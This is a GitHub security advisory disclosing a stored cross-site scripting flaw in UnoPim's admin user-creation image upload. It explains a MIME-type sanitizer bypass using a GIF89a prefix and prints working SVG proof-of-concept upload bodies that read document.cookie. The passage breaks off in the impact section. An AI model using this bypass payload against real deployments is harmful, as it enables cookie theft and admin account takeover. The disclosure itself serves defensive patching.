GitHub Security Advisory: GHSA-xr97-25v7-hc2q
Package: unopim/unopim (COMPOSER)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.2.0
Patched in: 0.2.1

Summary: UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality

Details:
### Summary
Affected Functionality: User creation
Endpoint: `/admin/settings/users/create`

### Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
See the mimetype is checked for validation.
Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes
for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing <svg> is considered as svg and is sanitized:
![image](https://github.com/user-attachments/assets/bcb0ce04-6bbe-4058-81da-927331247d3d)
```
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
![image](https://github.com/user-attachments/assets/47d33392-632e-442b-8e51-5ba5189385ca)

Sanitization bypass using MIME type manipulation:
![image](https://github.com/user-attachments/assets/c4fa13a6-3c3a-4530-8d4e-68c203848a86)
```
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
![image](https://github.com/user-attachments/assets/18197b3c-391a-4083-a610-51db6cca476a)


### PoC
Upload `POC.html` as image.
File content:
```
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
```
I changed extension to .html because even though POC.svg successfully bypassed the sanitization. 
When accessing the URL, the page didn't render as it should starts with <.
![image](https://github.com/user-attachments/assets/fb428dd8-44a1-4701-a4f5-1058afd0997a)
![image](https://github.com/user-attachments/assets/03d6f082-66af-4fad-b6a9-e19fc1cb73dc)
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
![image](https://github.com/user-attachments/assets/edff5f12-a95e-4134-8894-af8a4972fe2a)

### Impact
Suppose another admin visits t